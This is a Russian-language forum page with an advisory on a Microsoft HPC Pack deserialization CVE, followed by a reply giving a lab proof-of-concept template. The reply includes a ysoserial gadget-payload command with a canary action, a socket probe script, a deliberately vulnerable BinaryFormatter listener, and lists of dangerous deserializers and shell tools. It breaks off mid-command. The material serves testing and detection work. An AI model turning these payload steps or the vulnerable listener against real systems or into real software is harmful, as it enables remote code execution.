CVE-2026-59124 в Windows Server: десериализация в HPC Pack и критический риск

CVE: CVE-2026-59124
Продукт: Windows Server
Дата публикации: 11.08.2026
Критичность: CRITICAL
CVSS: 9.8 (3.1)
EPSS: 1,68%; процентиль 75,21%
CISA KEV: нет подтверждения в каталоге CISA KEV

Краткое описание​


Microsoft High Performance Computing (HPC) Pack содержит уязвимость десериализации недоверенных данных, позволяющую удаленному атакующему выполнять код без аутентификации. Ошибка классифицирована как критическая (CVSS 9.8). Материал разбирает механику CWE-502, затронутые версии и методы проверки исправления.

Основные характеристики​


Уязвимость CVE-2026-59124 относится к классу CWE-502 (Deserialization of Untrusted Data). Вектор атаки — сетевой (AV:N), сложность низкая (AC:L), предварительные права не требуются (PR:N), взаимодействие пользователя не нужно (UI:N). Последствия затрагивают конфиденциальность, целостность и доступность (C:H/I:H/A:H). Ошибка обнаружена в компоненте Microsoft HPC Pack, который развертывается на серверах Windows для управления кластерами и высокопроизводительными вычислениями.

Какие продукты и версии затронуты​


Затронут компонент Microsoft High Performance Computing (HPC) Pack, работающий в среде Windows. Согласно данным CPE, уязвимы версии продукта microsoft:windows_app, меньшие 2.0.1314.0. Исправление включено в версии 2.0.1314.0 и выше. Уязвимость распространяется на серверные конфигурации, где установлен HPC Pack, независимо от основной версии Windows Server, если версия пакета ниже порогового значения.

Причина уязвимости​


Причина ошибки — обработка данных, полученных из недоверенного источника, через механизм десериализации без достаточной валидации или ограничения типов. Компонент HPC Pack принимает входные данные и преобразует их в объекты памяти. Если атакующий контролирует структуру этих данных, он может сформировать payload, который при десериализации приведет к выполнению произвольного кода или нарушению целостности памяти. Отсутствие строгой проверки типов и происхождения данных нарушает границу доверия между внешним вводом и внутренней логикой приложения.

Как работает атака​


Атакующий направляет специально сформированный поток данных в уязвимый компонент HPC Pack. Данные проходят через десериализатор, который не проверяет, являются ли они легитимными. В результате атакующий может внедрить объекты, вызывающие выполнение кода, или манипулировать состоянием приложения. Поскольку атака возможна по сети без аутентификации, атакующему достаточно иметь сетевой доступ к порту, на котором слушает HPC Pack. Механизм не требует взаимодействия с пользователем, что делает атаку автоматизируемой и скрытной.

Условия успешной эксплуатации​


Для успешной эксплуатации необходимо: 1) наличие установленного Microsoft HPC Pack версии ниже 2.0.1314.0; 2) сетевой доступ к сервису, обрабатывающему данные через уязвимый десериализатор; 3) возможность отправки сформированного payload. Аутентификация не требуется. Сложность атаки низкая, что означает, что эксплойт может быть реализован с минимальными усилиями при наличии доступа.

Возможный сценарий атаки​


Сценарий: атакующий сканирует сеть в поиске хостов с открытыми портами HPC Pack. Обнаружив уязвимый узел, он отправляет сформированный пакет данных, содержащий вредоносную структуру. Сервер десериализует данные и выполняет код атакующего. В результате атакующий получает выполнение кода в контексте процесса HPC Pack, что может привести к полному захвату системы, установке бэкдоров или эксфильтрации данных. Атака может быть проведена удаленно и без ведома администратора.

Есть ли публичный эксплойт​


На момент публикации данных в каталоге CISA KEV уязвимость не фигурирует. EPSS-оценка составляет 0.01684 (процентиль 75.21%), что указывает на умеренную вероятность эксплуатации в ближайшем будущем. Публичные PoC или подтвержденная эксплуатация в реальных атаках в предоставленных источниках не зафиксированы. Отсутствие сведений о публичном эксплойте не означает, что он не существует; атакующие могут использовать внутреннюю разработку или коммерческие инструменты.

Признаки эксплуатации​


Специфичные IOC для CVE-2026-59124 в источниках не раскрыты. Общие неспецифичные точки контроля: аномальные сетевые соединения к портам HPC Pack; создание новых процессов из каталогов HPC Pack; неожиданные изменения в конфигурации кластера; логи ошибок десериализации в журналах Windows. Эти признаки требуют корреляции с другими событиями для подтверждения компрометации.

Как обнаружить атаку​


Для обнаружения атаки рекомендуется: 1) мониторинг сетевых потоков к сервисам HPC Pack на предмет аномальных объемов данных или нехарактерных паттернов; 2) анализ журналов Windows Event Log на ошибки десериализации или необработанные исключения в процессе HPC Pack; 3) использование EDR-решений для отслеживания создания процессов из подозрительных каталогов; 4) проверка целостности конфигурационных файлов HPC Pack. Специфичные сигнатуры для этой уязвимости в публичных базах не опубликованы.

Как проверить свою версию​


Для проверки версии HPC Pack и установленных обновлений используйте следующие команды:

  1. Проверка версии Windows:

Код:
winver

  • Получение информации о системе:

Код:
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber

  • Проверка установленных исправлений:

Код:
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

Для точной версии HPC Pack рекомендуется проверить документацию Microsoft или использовать специализированные средства инвентаризации, так как стандартные команды Windows не всегда отображают версии отдельных компонентов.

Исправление​


Основное исправление — обновление Microsoft HPC Pack до версии 2.0.1314.0 или выше. Обновление доступно через Microsoft Update или путем ручной установки с официального сайта Microsoft. После обновления необходимо перезагрузить сервер для применения изменений. Рекомендуется также проверить, что все узлы кластера HPC обновлены до актуальной версии, так как уязвимость может быть эксплуатирована на любом узле с устаревшим пакетом.

Временные меры защиты​


До применения обновления можно временно ограничить сетевой доступ к сервисам HPC Pack, если это не нарушает бизнес-процессы. Используйте брандмауэр Windows для блокировки входящих соединений к портам HPC Pack из недоверенных сетей. Также рекомендуется ограничить доступ к файлам, обрабатываемым HPC Pack, и убедиться, что только доверенные источники могут отправлять данные в сервис. Эти меры снижают, но не устраняют риск.

Как проверить устранение уязвимости​


После обновления проверьте версию HPC Pack через документацию или специализированные инструменты. Убедитесь, что все узлы кластера обновлены. Проверьте журналы событий на отсутствие ошибок после обновления. Проведите тестовое сканирование уязвимостей для подтверждения, что CVE-2026-59124 больше не обнаруживается. Если возможно, выполните функциональное тестирование HPC Pack для подтверждения работоспособности.

Вывод​


CVE-2026-59124 представляет критический риск для серверов с установленным Microsoft HPC Pack версий ниже 2.0.1314.0. Уязвимость позволяет удаленному атакующему выполнять код без аутентификации, что может привести к полному захвату системы. Администраторам следует срочно обновить HPC Pack до актуальной версии, ограничить сетевой доступ до применения патча и проверить все узлы кластера. Мониторинг и проверка после обновления помогут убедиться в устранении уязвимости.

Официальные источники​


  1. NVD — CVE-2026-59124
  2. FIRST EPSS — CVE-2026-59124
  3. JSON data

История обновлений статьи​


  • 13.08.2026 — Опубликована первая версия материала.
  • 15.08.2026 — Уточнены сведения об уязвимых версиях, оценке риска или исправлении.
  • 26.08.2026 — Уточнены сведения об уязвимых версиях, оценке риска или исправлении.
 
Последнее редактирование:
Коротко: готовый «боевой» PoC для CVE-2026-59124 без точных деталей протокола Microsoft HPC Pack и формата сериализации собрать нельзя. В публичном описании есть только класс проблемы — небезопасная десериализация сетевых данных, но нет подтверждённой схемы запросов, порта, формата сообщений и цепочки гаджетов. Поэтому ниже — лабораторный, недеструктивный шаблон PoC для проверки на вашей собственной изолированной VM или в cyber range.

Ниже используется только безопасная цель: вызвать канареечный эффект — файл-маркер, DNS-запрос или запись в журнал, а не reverse shell, не закрепление и не повреждение данных.

────────────────────

Что можно считать PoC для этой уязвимости​


Для CVE класса CWE-502 достаточно доказать, что:

  1. Сетевой сервис HPC Pack принимает внешние данные.
  2. Эти данные доходят до десериализатора.
  3. Десериализатор обрабатывает контролируемый тип или объект.
  4. В лабораторных условиях выполняется безопасное действие-маркер, например:
    • создание файла C:\lab_canary.txt;
    • DNS-запрос к canary.TARGET_DOMAIN;
    • запись события в Windows Event Log;
    • контролируемое падение сервиса с нужным исключением.

Не используйте сразу payload с shell, загрузкой PE, persistence или обходом EDR. Для аудита сначала достаточно canary.

────────────────────

Обязательные условия для теста​


Выполняйте только в среде, где вы являетесь администратором:

  • отдельная VM или контейнер с Windows Server;
  • установленный Microsoft HPC Pack той же версии, что и в целевом аудите;
  • snapshot до теста;
  • host-only или isolated VLAN;
  • отсутствие доступа в Интернет или разрешён только контролируемый DNS-canary;
  • права администратора на VM;
  • включённые Sysmon, Process Monitor, Wireshark и журналы Windows.

Плейсхолдеры:

Код:
TARGET_IP = IP лабораторной Windows Server VM
TARGET_PORT = порт сервиса HPC Pack
TARGET_DOMAIN = ваш внутренний canary-домен
TARGET_VM = имя лабораторной VM

────────────────────

Шаг 1. Проверить, установлен ли HPC Pack​


PowerShell:

Код:
Get-ItemProperty `
  HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,
  HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Where-Object { $_.DisplayName -like '*HPC*' } |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

Дополнительно:

Код:
Get-Service |
Where-Object {
  $_.Name -like '*Hpc*' -or
  $_.DisplayName -like '*HPC*'
} |
Select-Object Name, DisplayName, Status, StartType

────────────────────

Шаг 2. Найти сетевые endpoints HPC Pack​


Код:
Get-NetTCPConnection -State Listen |
Select-Object LocalAddress, LocalPort, OwningProcess,
  @{Name='Process'; Expression={(Get-Process -Id $_.OwningProcess).Path}} |
Sort-Object LocalPort

Если нужно сопоставить процесс с исполняемым файлом HPC Pack:

Код:
Get-Process |
Where-Object { $_.Path -like '*HPC*' } |
Select-Object Id, ProcessName, Path

Для внешнего сканирования лабораторного хоста:

Bash:
nmap -sS -sV -p TARGET_PORT TARGET_IP

────────────────────

Шаг 3. Снять легитимный трафик​


Перед созданием PoC нужно понять, как выглядит нормальный запрос к HPC Pack.

На сервере:

Код:
netstat -ano | findstr LISTENING

На анализаторе:

Bash:
tcpdump -ni any host TARGET_IP and port TARGET_PORT -w hpc_lab.pcap

Или Wireshark с фильтром:

Код:
ip.addr == TARGET_IP and tcp.port == TARGET_PORT

Далее нужно определить:

  • транспорт: TCP, HTTP, HTTPS, named pipe, WCF, RPC;
  • есть ли TLS;
  • формат кадра: length-prefix, fixed header, CRLF, chunked;
  • формат тела: .NET BinaryFormatter, NetDataContractSerializer, DataContractSerializer, JSON с TypeNameHandling, XML, custom binary;
  • требуется ли аутентификация: Kerberos, NTLM, certificate, token.

Без этого PoC будет просто отправкой случайных байтов.

────────────────────

Шаг 4. Минимальный лабораторный probe-скрипт​


Это не exploit, а сетевой шаблон. Его нужно адаптировать под реальный формат пакета HPC Pack.

Python:
#!/usr/bin/env python3
import socket
import struct
import time

TARGET_IP = "TARGET_IP"
TARGET_PORT = 0  # заменить на порт HPC Pack из лабораторного discovery
TIMEOUT = 5

# Недеструктивный маркер.
# В реальном PoC сюда помещается сериализованный объект,
# но только после анализа PCAP и протокола.
MARKER = b"CVE-2026-59124-LAB-CANARY"

def build_probe() -> bytes:
    # TODO: заменить на реальный формат кадра HPC Pack.
    # Пример ниже: 4-байтовый big-endian length prefix + тело.
    return struct.pack(">I", len(MARKER)) + MARKER

def main():
    probe = build_probe()
    print(f"Sending {len(probe)} bytes to {TARGET_IP}:{TARGET_PORT}")

    try:
        with socket.create_connection((TARGET_IP, TARGET_PORT), timeout=TIMEOUT) as s:
            s.sendall(probe)
            time.sleep(1)

            try:
                resp = s.recv(4096)
                print("Response hex:")
                print(resp.hex())
            except socket.timeout:
                print("No response received")

    except ConnectionRefusedError:
        print("Connection refused: endpoint closed or filtered")
    except OSError as e:
        print(f"Network error: {e}")

if __name__ == "__main__":
    main()

Интерпретация:

  • Connection refused — порт закрыт, сервис не слушает или firewall.
  • Нет ответа — пакет принят, но формат, вероятно, неверный.
  • Ошибка в ответе — хорошо: сервис обрабатывает вход и может раскрывать формат.
  • Сервис падает — вход дошёл до обработчика; нужен дамп и анализ исключения.

────────────────────

Шаг 5. Безопасный canary-вариант для .NET-десериализации​


Microsoft HPC Pack — Windows-компонент, поэтому вероятны .NET-механизмы сериализации. Если в ходе reverse engineering подтверждается один из опасных десериализаторов:

  • BinaryFormatter
  • NetDataContractSerializer
  • ObjectStateFormatter
  • LosFormatter
  • SoapFormatter
  • JSON.NET с TypeNameHandling.All / TypeNameHandling.Auto
  • DataContractSerializer с небезопасным knownTypes

то для лабораторной проверки можно использовать не shell, а canary-команду.

Концептуально:

Bash:
ysoserial.exe -f BinaryFormatter -g <GADGET> -c "cmd /c echo %COMPUTERNAME% > C:\lab_canary.txt" -o base64

Где:

Код:
<GADGET> — цепочка, которую вы нашли при анализе доступных сборок HPC Pack

Важно:

  • не используйте -c с powershell -enc, rundll32, mshta, regsvr32, загрузкой файлов, reverse shell;
  • не вставляйте реальный IP или домен;
  • проверяйте только создание canary-файла или DNS-запрос;
  • после теста удалите canary и восстановите snapshot.

Проверка canary-файла:

Код:
Get-Item C:\lab_canary.txt
Get-FileHash C:\lab_canary.txt -Algorithm SHA256

Проверка DNS-canary на контролируемом DNS-сервере:

Bash:
tcpdump -ni any port 53 and host TARGET_IP

Или в Windows DNS/Zeek/Suricata-логе ищите запрос вида:

Код:
canary.TARGET_DOMAIN

────────────────────

Шаг 6. Если нужно проверить только детект, без реального HPC Pack​


Для проверки Sigma, EDR, Sysmon и правил обнаружения можно поднять локальный mock-сервис с небезопасной десериализацией. Это не PoC для CVE-2026-59124, но полезный стенд для detection engineering.

C#:
using System;
using System.IO;
using System.Net;
using System.Runtime.Serialization.Formatters.Binary;

class LabDeserializationListener
{
    static void Main()
    {
        var listener = new HttpListener();
        listener.Prefixes.Add("http://127.0.0.1:8080/");
        listener.Start();

        Console.WriteLine("Lab listener started on http://127.0.0.1:8080/");

        while (true)
        {
            var context = listener.GetContext();

            try
            {
                var formatter = new BinaryFormatter();
                var obj = formatter.Deserialize(context.Request.InputStream);

                context.Response.StatusCode = 200;
                Console.WriteLine("Deserialized object type: " + obj?.GetType().FullName);
            }
            catch (Exception ex)
            {
                context.Response.StatusCode = 500;
                var message = System.Text.Encoding.UTF8.GetBytes(ex.GetType().Name);
                context.Response.OutputStream.Write(message, 0, message.Length);

                Console.WriteLine("Deserialization error: " + ex.Message);
            }

            context.Response.Close();
        }
    }
}

Запускать только на 127.0.0.1, не выставлять наружу.

────────────────────

Шаг 7. Reverse engineering HPC Pack​


Чтобы сделать PoC точнее, нужно исследовать компоненты HPC Pack на лабораторной VM.

Где искать:

Код:
Get-ChildItem -Path "C:\Program Files\Microsoft HPC Pack" -Recurse -Include *.dll,*.exe,*.config -ErrorAction SilentlyContinue |
Select-Object FullName, Length

Искать опасные вызовы в .NET-сборках через dnSpy, ILSpy, dotPeek:

Код:
BinaryFormatter
Deserialize
DeserializeObject
NetDataContractSerializer
ObjectStateFormatter
LosFormatter
SoapFormatter
TypeNameHandling
JsonConvert.DeserializeObject
DataContractSerializer
KnownType

Искать endpoints в конфигах:

Код:
Get-ChildItem -Path "C:\Program Files\Microsoft HPC Pack" -Recurse -Include *.config |
Select-String -Pattern "binding|endpoint|contract|address|net.tcp|net.pipe|http"

Если используется WCF, важно проверить:

XML:
<bindings>
<services>
<endpoint>
<behavior>
<serviceCredentials>
<transport>

Особенно интересны:

  • netTcpBinding
  • netNamedPipeBinding
  • basicHttpBinding
  • wsHttpBinding
  • webHttpBinding
  • customBinding
  • binaryMessageEncoding
  • textMessageEncoding

────────────────────

Шаг 8. Что фиксировать во время теста​


Включить Sysmon:

Код:
sysmon -accepteula -i -n -l -d

Минимально полезные события:

  • Event ID 1 — Process Create
  • Event ID 3 — Network Connect
  • Event ID 11 — FileCreate
  • Event ID 22 — DNS Query
  • Event ID 5 — Process Terminate
  • Event ID 7 — Image Loaded

Windows Security:

Код:
4688 Process Creation
4624 / 4625 Logon
4656 / 4663 Object Access

Проверка canary:

Код:
Get-WinEvent -LogName "Sysmon/Operational" -MaxEvents 100 |
Where-Object {
  $_.Message -like '*lab_canary*' -or
  $_.Message -like '*canary.TARGET_DOMAIN*'
}

Если сервис падает:

Код:
Get-WinEvent -LogName Application -MaxEvents 50 |
Where-Object {
  $_.LevelDisplayName -eq "Error" -and
  $_.Message -like '*HPC*'
}

Снять дамп процесса:

Код:
procdump -ma <PID> C:\dumps\hpc_process.dmp

────────────────────

Шаг 9. Критерии успешного PoC​


PoC можно считать подтверждённым в лабораторном отчёте, если есть хотя бы один из артефактов:

  • создан файл C:\lab_canary.txt;
  • зафиксирован DNS-запрос canary.TARGET_DOMAIN;
  • процесс HPC Pack породил неожиданный дочерний процесс, например cmd.exe, но только в рамках canary;
  • в журнале появилось исключение десериализации с типом, который вы контролировали;
  • сервис аварийно завершился с дампом, где видно обработку вашего сериализованного объекта.

Для отчёта приложите:

  • версию Windows Server;
  • версию HPC Pack;
  • список служб и портов;
  • PCAP;
  • hex запроса;
  • canary-файл или его hash;
  • фрагмент Event Log;
  • дамп или stack trace, если был crash;
  • snapshot VM до и после.

────────────────────

Шаг 10. Временная защита до патча​


Если патч ещё не установлен, а система важна:

  1. Отключить HPC Pack, если он не нужен.

Код:
Get-Service |
Where-Object { $_.DisplayName -like '*HPC*' } |
Stop-Service -Force

Get-Service |
Where-Object { $_.DisplayName -like '*HPC*' } |
Set-Service -StartupType Disabled

  1. Заблокировать порт на уровне Windows Firewall.

Код:
New-NetFirewallRule `
  -DisplayName "Block HPC Pack lab port" `
  -Direction Inbound `
  -Action Block `
  -Protocol TCP `
  -LocalPort TARGET_PORT

  1. Ограничить доступ сетевым ACL, firewall, VLAN, IPSec.
  2. Запретить анонимный доступ к HPC endpoints, если это поддерживается конфигурацией.
  3. Включить усиленный аудит:

Код:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Command Line" /success:enable /failure:enable

────────────────────

Шаг 11. Проверка устранения​


После установки обновления Microsoft:

Код:
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

Если известен номер KB:

Код:
Get-HotFix -Id "KBXXXXXXX"

Проверить версию ОС:

Код:
Get-ComputerInfo |
Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture

Проверить, что HPC Pack не слушает лишний порт:

Код:
Get-NetTCPConnection -State Listen |
Where-Object { $_.LocalPort -eq TARGET_PORT }

────────────────────

Шаг 12. Откат и восстановление​


До теста:

Код:
Checkpoint-VM -Name TARGET_VM -SnapshotName "Before-CVE-2026-59124"

После теста:

Код:
Restore-VMSnapshot -VMName TARGET_VM -Name "Before-CVE-2026-
 
Назад
Верх Низ